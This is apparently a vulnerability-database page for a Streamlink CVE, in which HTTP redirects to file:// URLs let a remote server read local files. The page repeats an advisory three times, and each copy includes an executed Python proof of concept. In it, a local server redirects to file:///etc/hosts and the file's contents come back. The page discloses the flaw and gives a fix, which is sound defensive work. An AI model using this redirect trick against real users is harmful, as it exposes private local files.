CVE-2026-92164
Streamlink: HTTPSession follows HTTP redirects into file:// URLs, reading local files
Streamlink is a CLI utility which pipes video streams from various services into a video player. Prior to 8.6.0, HTTPSession mounts a FileAdapter for the file scheme and inherits redirect handling from requests.Session without rejecting cross-protocol redirects. A remote server controlling an HTTP or HTTPS URL reached by Streamlink can return a redirect to a local file URL, causing HTTPSession to read the local file and return its contents to the response consumer. This bypasses the direct file URL checks added for HLS and DASH content because the manifest contains an ordinary network URL and the scheme transition occurs later during fetch handling. The flaw applies to every request made through HTTPSession, and a segment fetch can place the local file contents into stream output. This issue is fixed in version 8.6.0.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- Required
What an attacker can affect
- Confidentiality
- High
- Integrity
- None
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
6.5
Streamlink: HTTPSession follows HTTP redirects into file:// URLs, reading local files
Streamlink is a CLI utility which pipes video streams from various services into a video player. Prior to 8.6.0, HTTPSession mounts a FileAdapter for the file scheme and inherits redirect handling from requests.Session without rejecting cross-protocol redirects. A remote server controlling an HTTP or HTTPS URL reached by Streamlink can return a redirect to a local file URL, causing HTTPSession to read the local file and return its contents to the response consumer. This bypasses the direct file URL checks added for HLS and DASH content because the manifest contains an ordinary network URL and the scheme transition occurs later during fetch handling. The flaw applies to every request made through HTTPSession, and a segment fetch can place the local file contents into stream output. This issue is fixed in version 8.6.0.
- Record
CVE-2026-92164- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N - Weakness
- CWE-73
- Updated
- 2026-11-02
EUVDEUVD-2026-85336
6.5
Streamlink is a CLI utility which pipes video streams from various services into a video player. Prior to 8.6.0, HTTPSession mounts a FileAdapter for the file scheme and inherits redirect handling from requests.Session without rejecting cross-protocol redirects. A remote server controlling an HTTP or HTTPS URL reached by Streamlink can return a redirect to a local file URL, causing HTTPSession to read the local file and return its contents to the response consumer. This bypasses the direct file URL checks added for HLS and DASH content because the manifest contains an ordinary network URL and the scheme transition occurs later during fetch handling. The flaw applies to every request made through HTTPSession, and a segment fetch can place the local file contents into stream output. This issue is fixed in version 8.6.0.
- Record
EUVD-2026-85336- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-vf2x-4v53-pm7v
6.5
Streamlink: HTTPSession follows HTTP redirects into file:// URLs, reading local files
Summary
HTTPSession mounts a FileAdapter for the file:// scheme and inherits redirect handling
unchanged from requests.Session. requests does not check for scheme downgrades or
cross-protocol transitions when it follows a redirect, so any http(s) request Streamlink makes can
be redirected by the remote server into file:///... and the local file is returned as the
response body.
GHSA-hgqw-6m45-hw5f / CVE-2026-44353 fixed direct file:// segment and playlist URIs in HLS
playlists and DASH manifests. Those checks look at the URL as it appears in the manifest, so a
manifest that lists an ordinary https:// URL passes them, and the redirect happens later at fetch
time. The attack surface is the same one that advisory describes, but the flaw is one level down in
HTTPSession rather than in the streaming implementations, so it applies to every request the
session makes and not only to segment and manifest fetches.
Affected version
Executed against released streamlink 8.5.0 (PyPI, installed into a clean venv on
Python 3.12).
Attacker model
The attacker controls a URL the victim's Streamlink run reaches: a playlist or manifest URL passed
on the command line, or any http(s) URL referenced from attacker-controlled manifest content. No
privileges on the victim host and no file:// input are required, and the file:// scheme never
appears in anything the victim or the manifest parser sees.
Proof of concept, executed
import threading
from http.server import BaseHTTPRequestHandler, HTTPServer
from streamlink.exceptions import StreamError
from streamlink.session.http import HTTPSession
class H(BaseHTTPRequestHandler):
def do_GET(self):
if self.path == "/segment":
self.send_response(302)
self.send_header("Location", "file:///etc/hosts")
self.end_headers()
else:
self.send_response(404)
self.end_headers()
def log_message(self, *a):
pass
srv = HTTPServer(("127.0.0.1", 0), H)
port = srv.server_port
threading.Thread(target=srv.serve_forever, daemon=True).start()
s = HTTPSession()
res = s.get(f"http://127.0.0.1:{port}/segment", exception=StreamError, timeout=5)
print("requested http://127.0.0.1:%d/segment" % port)
print("final_url ", res.url)
print("status ", res.status_code)
print("content ", res.content[:40])
srv.shutdown()
Output:
requested http://127.0.0.1:52205/segment
final_url file:///etc/hosts
status 200
content b'##\n# Host Database\n#\n# localhost is used'
The request goes out over http, the response comes back from the local filesystem, and nothing in
between rejects the scheme change. Substituting a path the attacker wants read for /etc/hosts
returns that file's contents into whatever consumes the response, which for a segment fetch means
the file is written into the stream output.
Suggested fix
Override get_redirect_target() or resolve_redirects() on HTTPSession and reject a redirect
whose target scheme is not the same as the request's scheme or a permitted upgrade of it. Doing it
on the session rather than through a response hook keeps plugin authors from removing the check by
overriding hooks. Custom protocol adapters can still redirect, but only to https or to their own
scheme.
AI tooling
AI assistance was used for the code audit and for drafting this report. The finding was manually verified against the project's source at the location cited above before reporting it, and the severity and impact assessment are my own.
- Record
GHSA-vf2x-4v53-pm7v- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N - Weakness
- CWE-73
- Updated
- 2026-11-02
NVD
6.5
Streamlink is a CLI utility which pipes video streams from various services into a video player. Prior to 8.6.0, HTTPSession mounts a FileAdapter for the file scheme and inherits redirect handling from requests.Session without rejecting cross-protocol redirects. A remote server controlling an HTTP or HTTPS URL reached by Streamlink can return a redirect to a local file URL, causing HTTPSession to read the local file and return its contents to the response consumer. This bypasses the direct file URL checks added for HLS and DASH content because the manifest contains an ordinary network URL and the scheme transition occurs later during fetch handling. The flaw applies to every request made through HTTPSession, and a segment fetch can place the local file contents into stream output. This issue is fixed in version 8.6.0.
- Record
CVE-2026-92164- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N - Weakness
- CWE-73
- Updated
- 2026-11-02
OSV
6.5
Streamlink: HTTPSession follows HTTP redirects into file:// URLs, reading local files
Streamlink is a CLI utility which pipes video streams from various services into a video player. Prior to 8.6.0, HTTPSession mounts a FileAdapter for the file scheme and inherits redirect handling from requests.Session without rejecting cross-protocol redirects. A remote server controlling an HTTP or HTTPS URL reached by Streamlink can return a redirect to a local file URL, causing HTTPSession to read the local file and return its contents to the response consumer. This bypasses the direct file URL checks added for HLS and DASH content because the manifest contains an ordinary network URL and the scheme transition occurs later during fetch handling. The flaw applies to every request made through HTTPSession, and a segment fetch can place the local file contents into stream output. This issue is fixed in version 8.6.0.
- Record
CVE-2026-92164- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N - Weakness
- CWE-73
- Updated
- 2026-11-02
OSVDEBIAN-CVE-2026-92164
6.5
Streamlink is a CLI utility which pipes video streams from various services into a video player. Prior to 8.6.0, HTTPSession mounts a FileAdapter for the file scheme and inherits redirect handling from requests.Session without rejecting cross-protocol redirects. A remote server controlling an HTTP or HTTPS URL reached by Streamlink can return a redirect to a local file URL, causing HTTPSession to read the local file and return its contents to the response consumer. This bypasses the direct file URL checks added for HLS and DASH content because the manifest contains an ordinary network URL and the scheme transition occurs later during fetch handling. The flaw applies to every request made through HTTPSession, and a segment fetch can place the local file contents into stream output. This issue is fixed in version 8.6.0.
- Record
DEBIAN-CVE-2026-92164- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N - Updated
- 2026-11-02
OSVGHSA-vf2x-4v53-pm7v
6.5
Streamlink: HTTPSession follows HTTP redirects into file:// URLs, reading local files
Summary
HTTPSession mounts a FileAdapter for the file:// scheme and inherits redirect handling
unchanged from requests.Session. requests does not check for scheme downgrades or
cross-protocol transitions when it follows a redirect, so any http(s) request Streamlink makes can
be redirected by the remote server into file:///... and the local file is returned as the
response body.
GHSA-hgqw-6m45-hw5f / CVE-2026-44353 fixed direct file:// segment and playlist URIs in HLS
playlists and DASH manifests. Those checks look at the URL as it appears in the manifest, so a
manifest that lists an ordinary https:// URL passes them, and the redirect happens later at fetch
time. The attack surface is the same one that advisory describes, but the flaw is one level down in
HTTPSession rather than in the streaming implementations, so it applies to every request the
session makes and not only to segment and manifest fetches.
Affected version
Executed against released streamlink 8.5.0 (PyPI, installed into a clean venv on
Python 3.12).
Attacker model
The attacker controls a URL the victim's Streamlink run reaches: a playlist or manifest URL passed
on the command line, or any http(s) URL referenced from attacker-controlled manifest content. No
privileges on the victim host and no file:// input are required, and the file:// scheme never
appears in anything the victim or the manifest parser sees.
Proof of concept, executed
import threading
from http.server import BaseHTTPRequestHandler, HTTPServer
from streamlink.exceptions import StreamError
from streamlink.session.http import HTTPSession
class H(BaseHTTPRequestHandler):
def do_GET(self):
if self.path == "/segment":
self.send_response(302)
self.send_header("Location", "file:///etc/hosts")
self.end_headers()
else:
self.send_response(404)
self.end_headers()
def log_message(self, *a):
pass
srv = HTTPServer(("127.0.0.1", 0), H)
port = srv.server_port
threading.Thread(target=srv.serve_forever, daemon=True).start()
s = HTTPSession()
res = s.get(f"http://127.0.0.1:{port}/segment", exception=StreamError, timeout=5)
print("requested http://127.0.0.1:%d/segment" % port)
print("final_url ", res.url)
print("status ", res.status_code)
print("content ", res.content[:40])
srv.shutdown()
Output:
requested http://127.0.0.1:52205/segment
final_url file:///etc/hosts
status 200
content b'##\n# Host Database\n#\n# localhost is used'
The request goes out over http, the response comes back from the local filesystem, and nothing in
between rejects the scheme change. Substituting a path the attacker wants read for /etc/hosts
returns that file's contents into whatever consumes the response, which for a segment fetch means
the file is written into the stream output.
Suggested fix
Override get_redirect_target() or resolve_redirects() on HTTPSession and reject a redirect
whose target scheme is not the same as the request's scheme or a permitted upgrade of it. Doing it
on the session rather than through a response hook keeps plugin authors from removing the check by
overriding hooks. Custom protocol adapters can still redirect, but only to https or to their own
scheme.
AI tooling
AI assistance was used for the code audit and for drafting this report. The finding was manually verified against the project's source at the location cited above before reporting it, and the severity and impact assessment are my own.
- Record
GHSA-vf2x-4v53-pm7v- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N - Weakness
- CWE-73
- Updated
- 2026-11-02
OSVPYSEC-2026-4172
6.5
Streamlink: HTTPSession follows HTTP redirects into file:// URLs, reading local files
Summary
HTTPSession mounts a FileAdapter for the file:// scheme and inherits redirect handling
unchanged from requests.Session. requests does not check for scheme downgrades or
cross-protocol transitions when it follows a redirect, so any http(s) request Streamlink makes can
be redirected by the remote server into file:///... and the local file is returned as the
response body.
GHSA-hgqw-6m45-hw5f / CVE-2026-44353 fixed direct file:// segment and playlist URIs in HLS
playlists and DASH manifests. Those checks look at the URL as it appears in the manifest, so a
manifest that lists an ordinary https:// URL passes them, and the redirect happens later at fetch
time. The attack surface is the same one that advisory describes, but the flaw is one level down in
HTTPSession rather than in the streaming implementations, so it applies to every request the
session makes and not only to segment and manifest fetches.
Affected version
Executed against released streamlink 8.5.0 (PyPI, installed into a clean venv on
Python 3.12).
Attacker model
The attacker controls a URL the victim's Streamlink run reaches: a playlist or manifest URL passed
on the command line, or any http(s) URL referenced from attacker-controlled manifest content. No
privileges on the victim host and no file:// input are required, and the file:// scheme never
appears in anything the victim or the manifest parser sees.
Proof of concept, executed
import threading
from http.server import BaseHTTPRequestHandler, HTTPServer
from streamlink.exceptions import StreamError
from streamlink.session.http import HTTPSession
class H(BaseHTTPRequestHandler):
def do_GET(self):
if self.path == "/segment":
self.send_response(302)
self.send_header("Location", "file:///etc/hosts")
self.end_headers()
else:
self.send_response(404)
self.end_headers()
def log_message(self, *a):
pass
srv = HTTPServer(("127.0.0.1", 0), H)
port = srv.server_port
threading.Thread(target=srv.serve_forever, daemon=True).start()
s = HTTPSession()
res = s.get(f"http://127.0.0.1:{port}/segment", exception=StreamError, timeout=5)
print("requested http://127.0.0.1:%d/segment" % port)
print("final_url ", res.url)
print("status ", res.status_code)
print("content ", res.content[:40])
srv.shutdown()
Output:
requested http://127.0.0.1:52205/segment
final_url file:///etc/hosts
status 200
content b'##\n# Host Database\n#\n# localhost is used'
The request goes out over http, the response comes back from the local filesystem, and nothing in
between rejects the scheme change. Substituting a path the attacker wants read for /etc/hosts
returns that file's contents into whatever consumes the response, which for a segment fetch means
the file is written into the stream output.
Suggested fix
Override get_redirect_target() or resolve_redirects() on HTTPSession and reject a redirect
whose target scheme is not the same as the request's scheme or a permitted upgrade of it. Doing it
on the session rather than through a response hook keeps plugin authors from removing the check by
overriding hooks. Custom protocol adapters can still redirect, but only to https or to their own
scheme.
AI tooling
AI assistance was used for the code audit and for drafting this report. The finding was manually verified against the project's source at the location cited above before reporting it, and the severity and impact assessment are my own.
- Record
PYSEC-2026-4172- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N - Updated
- 2026-11-02
OSVUBUNTU-CVE-2026-92164
6.5
Streamlink is a CLI utility which pipes video streams from various services into a video player. Prior to 8.6.0, HTTPSession mounts a FileAdapter for the file scheme and inherits redirect handling from requests.Session without rejecting cross-protocol redirects. A remote server controlling an HTTP or HTTPS URL reached by Streamlink can return a redirect to a local file URL, causing HTTPSession to read the local file and return its contents to the response consumer. This bypasses the direct file URL checks added for HLS and DASH content because the manifest contains an ordinary network URL and the scheme transition occurs later during fetch handling. The flaw applies to every request made through HTTPSession, and a segment fetch can place the local file contents into stream output. This issue is fixed in version 8.6.0.
- Record
UBUNTU-CVE-2026-92164- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N - Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
streamlinkPyPI |
through 8.5.0 | 8.6.0 |
streamlinkDebian:12 |
All versions, plus listed versions 5.2.1-15.5.1-1~exp16.0.1-16.1.0-16.10.0-1 Show 45 moreShow less6.10.0-1~bpo12+16.11.0-16.11.0-26.11.0-2~bpo12+16.2.0-16.2.0-1~bpo12+16.2.1-16.2.1-1~bpo12+16.3.0-16.3.1-16.3.1-1~bpo12+16.3.1-26.4.2-16.4.2-1~bpo12+16.5.0-16.5.0-1~bpo12+16.5.1-16.5.1-1~bpo12+16.6.1-16.6.2-16.6.2-1~bpo12+16.7.1-16.7.2-16.7.2-1~bpo12+16.7.3-16.7.3-1~bpo12+16.7.4-16.7.4-1~bpo12+16.8.1-16.8.2-16.8.3-16.8.3-1~bpo12+16.9.0-16.9.0-1~bpo12+17.0.0-17.0.0-1~bpo12+17.1.1-17.1.1-1~bpo12+17.1.2-17.1.2-1~bpo12+17.1.3-17.1.3-1~bpo12+17.2.0-17.3.0-17.3.0-2 |
None known |
streamlinkDebian:13 |
All versions, plus listed versions 7.3.0-27.5.0-17.6.0-17.6.0-1~bpo13+17.6.0-2 Show 16 moreShow less8.0.0-18.0.0-1~bpo13+18.1.0-18.1.0-1~bpo13+18.1.2-18.2.0-18.2.0-1~bpo13+18.2.1-18.3.0-18.3.0-1~bpo13+18.4.0-18.4.0-28.4.0-2~bpo13+18.5.0-18.6.0-18.6.1-1 |
None known |
streamlinkDebian:14 |
before 8.6.0-1, plus listed versions 7.3.0-27.5.0-17.6.0-17.6.0-1~bpo13+17.6.0-2 Show 14 moreShow less8.0.0-18.0.0-1~bpo13+18.1.0-18.1.0-1~bpo13+18.1.2-18.2.0-18.2.0-1~bpo13+18.2.1-18.3.0-18.3.0-1~bpo13+18.4.0-18.4.0-28.4.0-2~bpo13+18.5.0-1 |
8.6.0-1 |
streamlinkPyPI |
before 8.6.0, plus listed versions 0.0.10.0.20.1.00.10.00.11.0 Show 45 moreShow less0.12.00.12.10.13.00.14.00.14.20.2.00.3.00.3.10.3.20.4.00.5.00.6.00.7.00.8.10.9.01.0.01.1.01.1.11.2.01.3.01.3.11.4.01.4.11.5.01.6.01.7.02.0.02.1.02.1.12.1.22.2.02.3.02.4.03.0.03.0.13.0.23.0.33.1.03.1.13.2.04.0.04.0.14.1.04.2.04.3.0 |
8.6.0 |
streamlinkUbuntu:18.04:LTS |
All versions, plus listed versions 0.9.0+dfsg.2-30.10.0+dfsg-1 |
None known |
streamlinkUbuntu:20.04:LTS |
All versions, plus listed versions 1.1.1+dfsg-11.2.0+dfsg-11.3.0+dfsg-11.3.1+dfsg-1 |
None known |
streamlinkUbuntu:22.04:LTS |
All versions, plus listed versions 2.0.0-12.4.0-13.0.3-13.1.1-1 |
None known |
streamlinkUbuntu:24.04:LTS |
All versions, plus listed versions 6.0.1-16.3.0-16.3.1-16.3.1-26.4.2-1 Show 4 moreShow less6.5.0-16.5.1-16.6.1-16.6.2-1 |
None known |
streamlinkUbuntu:26.10 |
All versions, plus listed versions 8.2.0-18.4.0-28.5.0-18.6.1-1 |
None known |
streamlinkUbuntu:26.04:LTS |
All versions, plus listed versions 7.5.0-17.6.0-28.1.0-18.1.2-18.2.0-1 |
None known |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-92164 is a medium vulnerability (CVSS 6.5) in Streamlink, published September 23, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.35%, the 28th percentile. Fixed in streamlink 8.6.0.
References
github.com/streamlink/streamlink/security/advisories/GHSA-vf2x-4v53-pm7v
github.com/streamlink/streamlink/commit/4b99c64dde21ea70c24d9ffdbd15849b05f465c6
github.com/streamlink/streamlink/releases/tag/8.6.0
nvd.nist.gov/vuln/detail/CVE-2026-92164
github.com/advisories/GHSA-vf2x-4v53-pm7v
github.com/CVEProject/cvelistV5/tree/main/cves/2026/92xxx/CVE-2026-92164.json
Left out here: 78 versions. The JSON record has them.